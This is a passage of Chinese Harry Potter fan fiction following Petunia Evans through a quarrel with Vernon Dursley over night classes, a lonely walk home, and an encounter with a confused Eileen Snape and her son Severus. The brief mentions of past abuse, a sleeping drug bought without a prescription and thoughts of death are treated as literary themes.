黑狗在她耳边喘着气,费劲地往岸边游,冰冷的河水卷走它的温度,逆着河流又带走它的体力,它看起来辛苦极了,但却叼着佩妮的衣领不肯松口。
她既觉得好笑,又心含愧疚。
但她一点也不后悔跳下那条河流。
于是她仰浮在河水上,看着那迷人的放晴的天空,抬起手触了触黑狗湿淋淋的脊背,指着天空轻声说:“嘿,伙计,放轻松点,别急着上岸,看天上有一只鸟。”
她大抵是疯了,才会邀请一条狗在湍急的河流里同她一起看天空。
她着迷地看着太阳。
看着太阳两侧背负的两片云朵,就像
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一只鸟,一只很大的鸟,扑闪着翅膀,要起航飞翔。
她视线的余光里,那条黑狗松开了咬着她衣袖的口,也学着她的样子,无所凭依地漂浮在河水里,抬头看着天空。
多么聪明的一条狗。
太阳倒映在她的虹膜里,耳边是河水冲刷她鼓膜的拍击声,并没有多久,岸边传来喊叫,一张硕大的捕捞网从天而降,将她和那条黑狗一并打包送进了警察局。
您为什么跌进了泰晤士河?
佩妮看了一眼在她旁边伸出舌头舔舐自己毛发的黑狗,面不红心不跳地说:对不起,先生们,它把我撞下去的。
黑狗猛地抬起头看着佩妮,一个暴起,将警察局撞得人仰马翻。
佩妮伸手解开了牵引绳和嘴套。
她的理智告诉她,这可不是一个明智的选择。
得到自由的黑狗看起来气坏了,它数次试图对佩妮露出它那副锐利的獠牙,尾巴竖起,身体前倾,发出警告似的低吼。
但在黑狗愤怒的视线里,佩妮慢慢蹲下来,凝视着它的眼睛。
水珠从佩妮的头发上滴到了她的额头,佩妮抬手拭去水珠,然后向那只黑狗伸出了自己的手腕:“你想咬我吗?”
黑狗亮出它锐利的牙齿,喉咙里发出警告似的呜咽,佩妮闭上了她的眼睛,等待即将到来的疼痛。
但等了半晌,她也没等来疼痛,只察觉到手腕一热。她睁开眼,黑狗只是伸出舌头,轻轻舔舐了一下她手腕上的伤口——那是在上岸时,不慎被石头划伤的痕迹。
黑狗收起了它的獠牙,在原地焦躁地转圈,它似乎想吼叫,但是最终它只是喘着粗气停在佩妮的面前。
佩妮一愣。
“你从哪儿来?”
“汪!”
“你要去哪里?”
“汪!”
“你说人话,你不说人话我怎么知道你想说什么?”
黑狗忍无可忍地仰天发出了一声悠长的叫声。
佩妮扑哧一声笑了出来。
黑狗不叫了。
黑狗摇头摆尾,快速剧烈地甩动着它的躯体,将它身上的雨水和泥水,甩了佩妮一脸。
“……”
现在黑狗看起来也满意了。
”你自由了,“佩妮将手中的牵引绳和嘴套丢到街角,拍拍手站起来,对那条黑狗说,“你得走了,我也得走了,可别被他们抓到。”
穿过好几个街区,一路从繁华的都市中心,来到偏远的城区,佩妮走了相当长的一段时间。
但那条本该离去的黑狗一直跟着她,远远坠在佩妮身后,既不离她而去,也不允许她靠近。
阳光透过树叶的间隙洒在路上,像一位大发善心的有钱人,一刻不停地向人间抛洒金币。
佩妮路过商店,路过教堂,从城市公园中心的花坛边穿过,惊起一行白色的鸽子。
空气还有些潮湿,但佩妮听见道路两旁的树上开始传来鸟鸣。
她来到一栋半旧的建筑前,停下脚步打量着那扇半新不旧的铁门。
黑狗蹲坐在离她不远处,路旁阴凉的树荫下。
她在报纸上将这个地址画上红圈,剪下来,粘在笔记本里。
她的手指多次拂过那个地址。
但总有这样那样的理由绊住她的脚步,使她无法到达这里。
但现在,她总算走到了这里。
她推开了那道挂着“成人继续教育学院”铭牌的铁门,走了进去。
91.chapter90
佩妮坐在德思礼的汽车里,汽车驶回市区,墨蓝色的夜空和远山在车窗外快速倒退。
德思礼坐在她的旁边,红酒的气息从他身上传来,带出那顿热气腾腾的晚餐的回忆——一场为德思礼而设的庆功宴,同他的朋友们,还有朋友们的金发太太们。
水晶吊灯轻微摇晃,她胸前的钻石胸针在灯光下闪耀,推杯换盏的清脆声将夜晚的寂静隔绝在玻璃窗之外。
现在一点酒精也流淌在她的血管里,将头抵在车窗上,看着窗外倒退的夜景,一股醺醺然的状态笼罩了她。
“明天晚上有一场音乐剧,”德思礼说,他的语气听起来很高兴,“布尔加尼亚先生和他太太也会出席。那条墨绿色的连衣裙很不错,我希望你能穿着她出席。”
这句话使佩妮昏沉的头脑开始清晰起来,她想起了自己要对德思礼说,但一直没有机会说出的话。
明天晚上她要开始她在继续教育学院的夜间课程了,但从德思礼回来,她一直找不到合适的机会同德思礼说。
她从座位上坐直自己的身体,目光前方,试探性地开头:“弗农,明晚不行,我要去上课。”
德思礼看着前方的车道,起初他以为佩妮没有听清楚他的话。
“我是说,明天晚上有一场音乐会,布尔加尼亚先生和他太太会出席。”
他的语气相当坚定,佩妮知道布尔加尼亚,他所在的公司生产的金属元件是格朗宁钻机的核心元件之一。
“我要去上课。”但她也重复了一遍自己的话。
“上课?”他表情像是听到了一个正常情况下他永远不会听到的词语,这个词不存在他的语言系统里,不存在于伦敦,不存在于大不列颠,不存在于这个星球上,他听到这个词语,无异于听到火星撞地球。
他笑起来:“打字机课?烘焙课?”
“不,”这条路上没有行人,只有汽车,交汇的汽车也很少,只有一盏盏派兵列阵的路灯倒退着将明暗交错的光影投射到佩妮脸上,“A level的课程。历史、文学、哲学还有拉丁语。”
汽车一个急刹车停在了路边,安全带将佩妮猛然前倾的身体牢牢固定在了副驾驶位上。汽车停在了两盏路灯之间的昏暗地带,夜幕像深沉的雾气包裹了这辆黑色的轿车。
“历史、文学、哲学还有拉丁语?”德思礼一字一句地重复着,脸上的表情看起来像是在消化那顿晚餐一样消化她的话。
“你学那些做什么?”德思礼右手放在方向盘上,左手翻转,掌心朝上,“你疯了吗?为什么不告诉我,为什么不同我商量?”
车窗上反射出佩妮精致的黑色礼裙,胸口别着的钻石胸针,颈项上带着的钻石项链。
她想要上大学,她想要修习文学,她想当一名小说家。
很简单的话,说出来就好了。
可是待在这个车厢里,看看车窗上的倒影,这些话卡在她的嗓子里,却怎么也说不出来。
她犯了一个错误。
她确实没有同德思礼商量。
一只无形的手将她的心揪了起来,但佩妮咬着牙说:“对不起,弗农,但我告诉你了,虽然是现在。”
“不不,佩妮。”看见佩妮的表情,德思礼的声音软了下来,“我不是不支持你的小爱好。”
“同样作为爱好,为什么不去报一些女士啦啦操健身课程,烘焙班,针织课?如果你喜欢,那些课程的费用我可以给你出。”
“但是历史、文学、哲学还有拉丁语,”德思礼扯了扯自己的嘴角,勾出一抹僵硬的笑容,循循善诱地问她,“你看看,你已经在格朗宁有了一份工作,能够养活自己,为什么还要再去上那些课呢?”
“学那些有什么用?它们能改变你目前的生活,拿到更高的薪水,过上更好的人生吗?”
大抵她是疯了,才会不计后果地推开成人继续教育学院的大门。
她们引领着她来到一间位于地下的,阴暗潮湿的教室。
教室的墙壁斑驳,有些漆面掉落露出里面的石灰,角落里因为长期见不到阳光爬上了绿色的植物。
未来的两年,她会在这间教室渡过大部分的夜晚还有周末。
我们欢迎每一个敲响知识殿堂的女性,那位老师说。
你的家人支持你吗?
佩妮牢牢握着手中的信封,就像抓着一抹幻影。
布伦南小姐有一把宝剑,她一遍又一遍的擦拭它,这柄宝剑会为她斩尽前方路途的荆棘。
“我知道,弗农。”佩妮听见自己说。
她听见德思礼发出一声似失望似遗憾的叹息。
这声叹息轻飘飘又沉甸甸地落在她的心上。
布伦南小姐有一把剑,但是她又不是布伦南小姐,她没有剑。佩妮只能牢牢抓紧她身前的安全带,就像抓着河水中的水草。她有很多话想说,但是看着德思礼的表情,最后她只能说:“但是我明天要去上课。”
德思礼的脸一下冷淡了下来,就好像一盆水浇到了火焰上。
她从来没有见过德思礼用这样神色莫测的表情看着她,就像走在那条小路,月光隐到云层后面,夜幕像倒塌的城墙,在这一刻向她倒下来。
沉默在车厢内蔓延。
佩妮突然拉开了车门。
“嘿,你要去哪里?”德思礼看着她。
“走回去。”室外温度骤降,夜风拂在她裸露的胳臂上,惊起一片颤栗。
德思礼拉开了他那一侧的车门,往前追了几步:“你疯了吗,这里离市区还有几十公里那么遥远。别犯傻了,快回到车里来。”
理智告诉她别犯傻,现在、立刻,回到那辆车上,但佩妮抱着自己的胳臂,闷头沿着路边只顾往前走。
“嘿!佩妮!”德思礼的语气警告似地强硬了起来。
石头做的路面并不平坦,习惯于踩在柔软地毯上的高跟鞋此时踏在坚硬的石头地板,震得她的脚踝隐隐作痛。
但不知怎得,也许是红酒作祟,她头昏脑胀,咬紧了牙关,抱紧了她的胳膊,顶着寒冷的夜风,倔强地往前走,一刻也不肯回头。
“好吧,如你所愿。”佩妮听见德思礼冰冷的语气,身后车门砰地一声关上,发动机发出一声轰鸣,那辆黑色的轿车绕过她,从她身边飞驰而过,将她留在了这条漫长的道路上。
夜风中,佩妮抱着自己的胳膊,有一瞬间的茫然。
她在一条长长的环山汽车道上,路上见不到一个行人,一辆汽车鸣着笛从她身后快速驶来,她不得不踉跄着倒退进路边缓冲的泥地里,才侃侃避开了那辆高速驶过的汽车。
汽车经过的风带来泥土、汽油、还有残枝枯叶的味道。
她往前看,伦敦市区看起来离她已经不远了,明亮的灯火浓缩成一块方形的缩影投射在她左前方,但明亮的市区与她之间还存在一条弯弯曲曲好像看不到尽头,嵌在山中像一条飘带似的汽车道。
远处的群山在墨蓝色的天空下,像黑纸上的贴纸画。
她在犯傻,佩妮心想。
这是她自找的,她说她要自己走回去的。
巨大的茫然盘绕着她,她把高跟鞋的鞋跟从淤泥里拔出来,开始深一脚浅一脚地朝左前方那灯火通明的市区走去。
街边的路灯从天空俯视着她,将她身影孤零零地投射在地面上,拉长缩短再拉长。
没关系,她对自己说,只要一直往前走,很快就能进到繁华的市区,然后她会登上一辆公共汽车,回到自己的公寓。
好像走了很久,但回头也不过经过了几盏路灯的距离。
环境太安静了,使她急促的呼吸声和心跳声清晰可闻。
她不应该害怕,路上有灯,这一路都有光线指引她前进的方向,但是愈是存在光线,愈使光线看不见的地方更为漆黑可怕。
一声呜咽声从道路两侧的山林里传来,不知是狼嚎还是狗叫,呜咽声十分凄凉,佩妮不由地停下脚步,警惕地在原地聆听了一下,才辨认出那根本不是什么动物的呜咽声,是夜风吹过远处山坡上树叶的声音。
但她还是打了一个哆嗦。
太阳早就下山了,温度骤降,外套落在德思礼的车上,寒冷也在此时席卷了她。
啪——她头顶的街灯突然发出一声炸裂的声响,闪烁了几下,使她如同惊弓之鸟一般跳了起来。
圆形的灯盏使她想起了那个流浪汉瞪得像铜铃般的眼睛。
她全身都在颤抖。
后悔席卷了她的内心。
莉莉呢?莉莉在戈德里克山谷,如果她知道她在这里,她会不顾一切地向她奔来。这样的想法使佩妮的心里好受了一点。
但是莉莉不知道,莉莉以为她的姐姐此刻在豪华游艇上,欣赏北极的极光。
爸爸妈妈——
不要想这件事。
佩妮抱紧了自己的胳臂。
夜风拂过两侧山林的树梢,传来一阵又一阵狗叫似的呜咽。
她开始怀念那条黑狗。
那条听得懂人话的,像狼一样的黑狗。
它莫名其妙地出现,又神秘莫测地消失。
布伦南小姐走在森林里,向森林
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之主发出祈祷,祈求祂为她指引前进的方向。
森林之主可以是鹿也可以是黑狗。
这个时候,佩妮在心中暗暗祈祷,人也好,狗也好,随便谁出现都好,来个人接住她,将她带回繁华的市区,将她带回温暖的家里。
但她的祈祷落了空。
没有任何人出现。
那条黑狗也没有出现。
围绕她的只有这漆黑的夜色,还有看起来永远也走不完的路。
她试图拦车。
但偶尔经过的汽车从她身边呼啸而过,没有人注意到这个刚结束一场筵席,身着名贵穿着,却狼狈地走在路边的古怪女人,并为她停下来。
那些风声、呜咽声追逐着她,左前方那明亮的城市灯景成为她在唯一的指引。
不能停下来,不能被夜色追上。
双腿从隐痛到酸痛再到钝痛,最后变成麻木,她迈动麻木的双腿,一刻不停地顺着前方的道路前进。
一个岔路口等着她。
城市的灯光完全隐藏在了这条岔路口之后,两条一模一样的道路,一条向左下,一条向右上,蜿蜒通往看不见的尽头。
一条通往市区,一条通往更远的远方。
没有指示牌。
往左边还是往右边。
德思礼开车带她经过这些路的时候,为什么她没有记住汽车往哪边开呢?
佩妮失去了所有的力气,抱着她冷冰冰的胳膊绝望地慢慢蹲了下去。
她又累,又冷。
路怎么走也走不完,她永远也回不到她的公寓。
夜风吹来,她察觉到自己脸上冰凉,用手一摸,才发觉不知何时,她已泪流满面。
她在为谁流泪?为何而流泪?
但有什么好值得流泪的呢,她鄙夷地对自己说。
于绝境之处,她反而从心底里陡生一丝勇气。
只是选择一条路而已,随便走哪一条,一直走下去,错了就重新走,她可以走过这个黑夜,走到天亮。
最坏的结局是什么?
——死亡。
不过是死亡而已。
想到这里,佩妮突然感到全身轻松。
于是她抹一把眼泪,脱下脚上的高跟鞋,随手将那双美丽刑具扔到路边,忍耐着路面的砂石摩擦她脚底的疼痛,朝左边那条路走去。
但只走了几步路。
远光灯迎面打来,将她笼罩在一片睁不开眼的强光里,她听见汽车发动机的轰鸣声,喇叭声响起。她忍住泪水,微微睁开眼,德思礼的那辆黑色的轿车,从对面极速地驶来,转了个弯,车轮在路面上拖出四条显眼的白色痕迹,停在了她面前。
德思礼从黑色轿车上走了下来。
“对不起。”强光照彻她满脸的泪痕,从汽车上下来的德思礼懊恼地抓了抓他棕色的头发,对佩妮张开了他的手。
“是我的错。”他看着佩妮,他的脸色难过得就像穿着高跟鞋走在寒风里的人是他一样,“我不应该把你扔在这条路上,我喝了点酒。有一点上头。”
“你可以去上课,可以去读书,你的那些小爱好我都同意,你想做什么都没关系,我都支持你。”
他的出现,他的这句话戳破了佩妮心中那个名为勇气的气球,使她本应停止的泪水越涌越多。
“但是佩妮,有时候我也需要你的帮助,你也要支持一下我。”
“我知道。”佩妮听见自己轻声说。
“你的脚。”他的视线落在佩妮的脚上,“你的鞋呢?”
他在路边的树下找到被佩妮胡乱扔出去的高跟鞋,用自己的衣袖拭去高跟鞋上的污浊,弯下他的腰,捉住佩妮的脚,笨拙地为她一只一只穿上那细高跟的鞋。
不原谅他,看着他俯下去为她穿鞋的背影,眼泪一刻不停地顺着佩妮的脸颊滴落。
他一个人把你孤零零地扔在这条马路上。
但是他回来接你,承认了他的错误,并为你穿上了那双鞋。
佩妮重新回到温暖的车厢里,看见城市繁华的夜景从车窗外一闪而过。
她总算回到了伦敦市区,她再次感觉到安全就像这城市繁华的夜景,再度包裹了她。
“我可以请假,弗农。”她轻声对德思礼说,“你把你的衣袖又扯烂了。”
他生气的时候,就会不自觉撕扯他的衣袖,因此他的衣袖纽扣总会掉下来。
他所有衬衫的衣袖袖口上,都绣着那朵代表佩妮的金色花瓣。
德思礼叹息着,腾出一只手,温暖的手,盖在了佩妮冰冷的手上。
92.chapter91
娱乐报纸摊在咖啡厅的桌面上,灯光照耀在占据了娱乐报纸头条那有些夸张的标题上。
“知名编辑文森特从家中二楼坠落生死不明。”
庞·佩普小姐在镜头下接受采访,疲惫和惊吓无损她的美貌,只给她再添加一份楚楚动人的姿色。
没有人会质疑这样一位真挚、美丽又脆弱的演员在镜头下说的任何一句话,
“我受到文森特先生的邀请前往他家参加聚会。”
“当时文森特太太也在,我和文森特太太关系很好。”
“那天晚上文森特先生喝了酒,邀请我前往二楼他的收藏室观看他的藏品。”
“他就站在那扇低矮的窗户旁边,我提醒他窗户是打开的,但他说夜晚的风总是使人清醒。”
“后来那件事情就发生了,噢,请不要再让我回想了。”
“我们叫了救护车,将流了血的文森特太太也送了上去。”
“希望上帝能够保佑文森特先生还有他可怜的太太和女儿。”
她说完这句话,立刻掩面而泣,经纪人适时旁边挤上来,给她披上外套,将她带出了记者长枪短炮的包围圈。
铁青着脸色的诺顿导演接过了话筒。
“山雀的拍摄计划不会被影响。”
他伸手一把盖住了镜头。
佩妮轻松地将报纸随手塞进了咖啡厅的公共报纸栏,侍者将她的咖啡端了上来,她面前放着一本笔记本,记载着她在夜校课堂学到的那些内容。
她用黑的笔红的笔蓝的笔在本子上工工整整记下老师的话语。
但她确实离开课堂太久了。
笔记本上记得有多满,她的脑子就有多空白。
旁边还有一份指导手册,是她在接下来的两年里需要阅读的书目。
主啊,干脆狠狠下一场书雨,把她埋起来算了。
她从包里拿出笔,勾选她需要去公共图书馆借阅的书籍——若要将那些书统统都买下来,可是一笔价值不菲的金额,图书馆再次解决了她的烦恼。
透过咖啡馆临街的玻璃窗,不远处的街道好一阵骚动。
她抬头又低头,这与她一点关系也没有。
她兴致缺缺地收回视线,却在不经意间看见了一个她决计想不到会在这儿出现的身影。
——艾琳·斯内普。
佩妮从自己的座位上站起来。
艾琳·斯内普位于骚乱的正中心——她就是骚乱的源头。
她站在一栋价格不菲的宅邸前,双手捶打着铁门,嘴里叫着什么。
宅邸里冲出几名携带对讲机的人员,他们从铁门的侧面绕出来,要拉开艾琳·斯内普。
艾琳·斯内普不可避免地被推搡着,脸色却如孩童般惊恐。
佩妮匆匆推开咖啡馆的门,快步朝那个方向走过去。
人群拦住了她和艾琳·斯内普,攒动的人影间只能看见一对苍白枯瘦的手牢牢抓住铁栏杆,而周围的人则试图掰开她的手。
“让一让。”佩妮有些艰难地拨开人群,向中心靠拢。
“我要回家。”她听见艾琳·斯内普说,她看也不看周围推搡她,抓着她的人,只牢牢抓着铁门的栏杆,就像抓着水中的救命稻草。
周围的人群也在推搡着佩妮,惶恐涌上了佩妮的心头。
那个高大古怪的女人在发疯,黑袍像挂在一根竹竿上似的挂在她身上。
不知怎的,她的表情使佩妮想要落泪。
于是佩妮艰难地挤进人群中,在混乱中抓住了艾琳·斯内普的手。
“嘿,斯内普太太,你为什么在这里?”她说。但艾琳·斯内普无视了她的话,视线从她身上一晃而过,对她的话语置若罔闻,那双凹陷眼窝的眼珠仍凄厉又捂住地透过栏杆之间的缝隙,看向那里面的宅邸。
“艾琳,你为什么在这里?”她凑到艾琳身边说,“这里不是科克沃斯,这里也不是蜘蛛尾巷。”
“他们不让我回家。”她听起来有点委屈,“牌子上明明写了我的名字。”
混乱中佩妮抽空看了一眼铁门上挂着的名牌。
——普林斯。
房屋的主人姓这个。
一时之间佩妮有些拿不准了。
艾琳突然一把抓住了佩妮的手,她感到吃痛,艾琳的眼神落在佩妮身上:“他们不让我回家。”
“你也还是不准我回家吗,妈妈。”最后一句她很小声地说,眼神看起来像个茫然的孩童。
她神色恍惚,视线落到佩妮身上,又穿过她看向别的地方,整个人仿佛沉浸在一段虚幻的梦境之中。
现在佩妮知道,弄错的是艾琳了。
佩妮听见人群中有人拨打了警察局的电话,他们要把艾琳扭送进警察局。
不能这样下去,佩妮心想。
她不知道艾琳为什么会出现在这里,也不知道她为什么要对着一栋全然陌生的宅邸说那是她的家。
但她现在决计不能留在这里了。
她握着艾琳的手,下定了决心。
“你要回家吗?我知道你家在哪里,跟我走,我带你回家。”
艾琳的视线停在她的脸颊上,像是终于回忆起了什么,茫然神色中多出一丝清明,抓住栏杆的手稍微松懈,佩妮趁此机会把她带离出了人群。
佩妮将艾琳放置在一张位于几条街区之外的长凳上,抬头张望,试图寻找熟悉的面孔。
艾琳仍抓着她的手,突然抬头:“我认输了,现在我可以回家了吗,妈妈。”
这一声使佩妮心中一震。
艾琳仍深陷一段过往的回忆里,被她错认的感觉使佩妮的面颊灼烧起来,但艾琳却怎么也不肯松开她的手,执拗地等待佩妮的回答。
行人经过长凳,向她们投来好奇的目光。
与艾琳视线相接,佩妮索性陪她坐在了那张长凳上。
她扮演“母亲”的角色,从一位“出逃女儿”颠三倒四的话语里,拼凑出了一个故事。
一个霍格沃茨的女巫,却嫁给了一个麻瓜。
“我要过去做彻底的告别,离开那个肮脏混乱的街区。”艾琳说。
她一会儿说她爱她。
一会儿又说她不爱她。
人称代词颠来倒去。
出逃的喜悦,昏暗的蜘蛛尾巷,刚开始的海誓山盟。
虽然在她没有准备好的时候,孩子就出生了。
但是她想爱他,爱他就像爱自己一样。
佩妮脱下了自己的手套,托着自己的下巴,看着长凳前往来的人群,没有什么表情地听着艾琳的故事。
但她忘记了,她还不会爱自己。
所以她也没办法像爱自己一样爱那个孩子。
海誓山盟,随后无休无止地争吵。
一瓶又一瓶空掉的酒瓶,残羹冷筵。
他既不是好丈夫,也不是好父亲。
想要证明自己的拳头,以及孩子惊慌的眼神。
拳头想要落在他身上,她拦住了,于是拳头改落在她身上。
她忘了自己是个女巫,因为从出逃起,她就与过去的自己做了深刻的告别。
因此她决计不使用魔杖,报复她,也报复她自己。
一旦想起来了,就会想起她逃出去的那条混乱的街区,还有站在屋檐下冷笑地看着她逃离的女人。
有一天,一个深夜,好像就在几天前,又好像在很久之前,男人总算醉醺醺地跌进河流淹死了自己。
她应该感到难过,又或者感到轻松。
但她心里什么也没有,一片空空如也。
因为她早知道她逃出来的那条混乱的街区已经不见了,她想要向她证明的,那个站在屋檐下用阴沉的目光看着她的女人也不见了。
艾琳看起来不太清醒,把佩妮一会儿当作这个人,一会儿当作那个人。
叙事视角也相当混乱,佩妮要很努力才能认清艾琳说的每个人是谁。
佩妮托着腮想。
就算完整拼凑出来了,这个故事实际上也没有什么意思。
如果真有这样一本小说,艾琳肯定是里面的一个最不起眼的配角。
两三句话就可以写尽这个角色的一生,相当无趣却又屡见不鲜,因为这样的故事会在这本书里发生,又在那本书里发生。
当然,佩妮她肯定也是哪本书里的配角。
两三章、三四章写尽她的故事。
她想做一次主角。
她也想进行一场酣畅淋漓的决斗,潇洒利落地斩下敌人的头颅。
可她没有布伦南小姐的宝剑。
甚至她连敌人是谁,敌人在哪儿,都不知道。
她既不是女巫,又不是山雀。
属于她的故事肯定也相当无聊。
发生在她们这样的女人身上的故事,总是千篇一律又相当无聊。
“你说的对,妈妈,”艾琳坐在长凳上,用一副轻飘飘的自嘲式的语气说,“我不是一个好女儿,我也不是一个好妻子,好母亲。”
“不,你做那些干嘛呢,”佩妮说,她轻轻晃动着她的腿,看着连衣裙摆在空中荡出一圈圈弧度,“你说你可是霍格沃茨高布石队长。”
艾琳一愣,阴霾在她的眼中短暂地消退了一下。
“高布石,等他们长大了就不玩了,他们更喜欢魁地奇。”
“可是你是巫师。”
“梅林又不会因此而站在我这一边。”
“你什么时候能原谅我,带我回家?”
艾琳表情平静,但佩妮察觉到她在发抖,好像有一把看不见的火焰一直在灼烧艾琳的内心,这把看不见的火焰都快要烧到佩妮身上了,就像河水在此时突然灌入了佩妮的口鼻,使佩妮感到无法呼吸。
佩妮猛地站起来,她得想办法浇一浇那把火,不能让她这么一直烧下去,
艾琳看着她:“你要去哪儿?”
“我去给你买草莓冰淇淋。在这张长椅上等着我。”
艾琳看了她半晌,松开了手。
佩妮推门走进一家离她不远的药店。
“□□。”她说,“你这儿肯定有这个药。”
但店员倚在柜台旁边无动于衷,只用一种玩味的眼神扫视了一下她的穿着:“女士,这种药是需要医生处方的,没有处方,我们可不能随意出售。”
佩妮立刻低头打开她的皮包,熟练地从里面抽出一沓纸币。
店员眼神更玩味了,一路从她的脸上,移到她握着纸币的手上,最后落在她食指上那个漂亮的戒指上。
佩妮果决地脱下自己手上的戒指,连同纸币一同递给了店员。
作为交换,他把一瓶没有标签,装着白色药片的棕色药瓶递给她。
“需要我告诉你怎么吃吗?”好心的店员提醒她,“吃一片可以获得一晚上的安眠,如果把一整瓶吃了就是长眠了,女士。”
“你们这种女士太太们,总分得清梦境和现实吧。”
佩妮没有搭理他,推开药店走了出去,再拐进隔壁的商店带了一个草莓冰淇淋出来。
她看见艾琳的背影仍坐在长椅上等着她。
佩妮心下舒了一口气,走过去,顺便将那个草莓冰淇淋塞进了艾琳的手上。
艾琳的视线落在了草莓冰淇淋上,直勾勾地看着它,却没有吃,草莓雪糕一会儿就融化了,顺着她枯瘦的手流了下来,但她一动也不动。
佩妮紧紧握着那只棕色的药瓶。
有什么东西在她心中翻涌,使她一会儿要回到公寓,坐在书桌前,打开台灯,在稿纸上写点什么。
但现在,她想好了,给艾琳吃下这片药,让那簇火焰不再烧灼她,然后再去警察局,请求他们将送她回科克沃斯。
思及此,她打开了棕色药瓶,从里面倒出了一小片白色药片。
但就在这时,
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一只手猛地从斜拉里伸出来,牢牢地攒住了她递出药片的手腕。
那只手的力气之大,恨不得握断她的手腕。
“你要给我妈妈吃什么?”来人咬着牙,一字一句地吐出这句话。
顺着手臂,视线往上看过去,佩妮撞见西弗勒斯·斯内普那双深不见底的黑色眼睛。
黑色的头发垂在他脸颊两侧,额头覆盖一层薄汗。
他胸膛起伏,穿着一身难得的剪裁得体的西装长裤,像刚从一场聚会上跑出来一样。
艾琳故事里的那个小男孩。
惶恐还没有从那双黑色的眼睛里褪去,他就一脸阴沉地恐吓她,威胁她。
没有礼貌。
他妈妈还是她找到的。
“放手,”佩妮对斯内普说,她也不起身,就坐在长椅上与斯内普那双黑色的眼睛四目相对,“你弄痛我了。”
惊讶、警惕和犹豫从那双黑色的眼睛里传来,但他仍警告似地捏着她的手腕不放。
“我说,放手。”佩妮重复了一遍。
艾琳倒是把她的视线转了过来,突然伸出她的手,把斯内普推了出去:“离她远一点。”
她警告他,然后在两人都没有反应过来时,一把抢过了佩妮手上的那片白色药片吞了下去。
佩妮看见受伤的神情从斯内普的眼睛里一晃而过,他踉跄着后退了一步,但他及时放了手,才没有将佩妮也从长凳上带了下去。
“□□而已。”佩妮把棕色药瓶扔给了他,坐在长椅上揉了揉她的手腕,红痕出现在她的手腕上,斯内普真的快把她的手腕给捏断了。
斯内普面色不虞地接过佩妮抛给他的棕色药瓶,打开瓶盖嗅了嗅,想说什么,但最后什么也没有说。
他快步蹲在旁边的艾琳·斯内普身前,握住她的手,锐利的目光柔和下来,像怕吓着她一般柔声说:“妈妈,我是西弗勒斯,你不是答应我会在那里等我吗?我同他们谈完很快就出来了。”
艾琳·斯内普不去看他,视线却落在佩妮的脸上,连带着斯内普那双黑色的眼睛也落在了佩妮的脸上。
佩妮叹了一口气,伸出手将艾琳耳边的黑色长发别至她的耳后,凑到她耳边,用只有她能听见的声音说:“她会原谅你的,你就是她,她就是你。你活着,就是她活着。在你原谅她的时候,她就原谅你了。”
光芒在艾琳的眼中闪动,佩妮直起自己的身体,指着斯内普说:“他是西弗勒斯·斯内普,他来接你回家了。”
这个名字使艾琳有了反应,她的视线落在斯内普有些焦急的脸上,失焦了的眼神总算有了焦距。
“西弗勒斯?”
斯内普的脸上勉强挤出一个微笑。
“现在该回家了吗?”她说,她如梦初醒般注意到她手上那个融化了一半的雪糕,递到了斯内普面前,“你一直想吃的草莓冰淇淋。”
斯内普咬紧了牙关,却还是伸手接过了那个融化的草莓雪糕。
“吃一口吧,”艾琳说,“等待太久的雪糕,都融化了。”
斯内普的脸上红一阵,白一阵。
佩妮别过了自己的眼睛,视线的余光里斯内普低下了他的头颅。
她坐在长凳上,看着斯内普牵起他的母亲。
经过她身前,艾琳突然停下来:“你还痛吗?”
佩妮一愣。
斯内普的视线也跟着落在她身上。
她耸耸肩,眨了眨她的眼睛,对艾琳露出一个微笑:“我会习惯的,大家都会习惯的。”
艾琳点了点头,转过身去。
但斯内普还在看着她,他举着那个融化了一半的草莓雪糕,形象古怪又滑稽。他胸口大力起伏了几下,只挤出一句话来:“看起来伊万斯小姐凭借她的努力,获得了她想要的一切。”
佩妮从手提袋里摸出了一根女士香烟,迎着斯内普落在她穿着上的视线,她看着他合身的西装不遑多让地说:“斯内普先生不也是凭借自己的努力,获得了他想要的一切吗?”
她看见斯内普那张苍白的脸一瞬间涨得通红,他闭上了嘴,面颊两侧鼓了鼓,猛地偏过了自己的头颅。
不知怎地,看着斯内普要离去的背影,一股冲动使她脱口而出:“伊卡洛斯和代达罗斯。”
斯内普偏身看着她,微微挑起了自己的眉毛。
“伊卡洛斯,”佩妮说,“你还记得伊卡洛斯吗?那个暑假,我们在图书馆读到的那本希腊神话。”
“代达罗斯警告伊卡洛斯,让他离太阳远一点,太阳会融化他的翅膀,让他跌落在海水里,然后死亡。”
斯内普用他那双黑色的眼睛紧紧盯住了佩妮。
他索性转过身来,正对着佩妮,平视着她的眼睛,情绪在他黑色的眼珠里蓄积,脸上说不出是生气还是嘲讽:“跌进海水里的伊卡洛斯?”
“你也想试图拯救伊卡洛斯吗?”他勾起他的嘴角,露出一抹讥讽的笑,“你怎么知道伊卡洛斯不是自愿的呢?”
“他在那个迷宫里待得太久了,他受够了黑暗,见到了太阳,你怎么知道伊卡洛斯不是主动飞向太阳去的呢?哪怕他知道他最后要跌落进海水里。”
他冰冷冷的黑色眼睛里,完整投射出佩妮的倒影,投射出她错愕的脸颊。
“你是代达罗斯?还是伊卡洛斯?”他深沉的眼睛带着嘲讽的笑意,看着自以为是的她。
你是代达罗斯?
还是伊卡洛斯?
佩妮的心砰砰跳起来。
“你说的对。”沉默了一会儿,她开口,声音听起来很平静。
现在轮到斯内普愣住了。
“看故事的人都觉得自己是代达罗斯。”
“但我们到底是谁?自以为是代达罗斯?还是伊卡洛斯?”
她看着斯内普黑色的眼睛,看着他黑色眼睛里的自己。
不等他回答,佩妮对他欠了欠身,转身离开了。
93.chapter92
从路灯下转出那条黑狗。
那在黑暗中一直跟着佩妮的脚步声就来自于它。
这不是它第一次跟着她了,又或者说,它一直跟着她。
它看见佩妮,漫不经心地甩了甩身后那条粗大的尾巴。
灯光照亮它如绸缎般光滑的皮毛,微微张着嘴,露出雪白锋利的牙齿。
影子被路灯投在它身后的墙上,像一座小山一样挺立。
佩妮看着它那足以一口咬断她脖子的锐利牙齿,突然笑了起来。
昏暗的街道,这条像从怪诞小说里走出来的高大古怪的黑狗。
犹记得它第一次出现,莫名其妙把她的晚餐撞进泰晤士河。
随后它就像人间蒸发一样,消失了。
却又在一个雨天,莫名其妙被她拉着跌入河中。
它本应带给她恐惧的感觉。
现在她可不怕这条黑狗了,她单方面宣布,这是她的好朋友。
那天它跟着她来到成人继续教育学院的门前,看着她走进铁门后,便像它突然地出现那样,突然地又消失了。
中间消失了很长一段时间。
却又在某一个夜晚,在她离开成人继续教育学院的路上突然出现,漫不经心地晃着它的尾巴,跟在佩妮的身后,把她吓了一大跳。
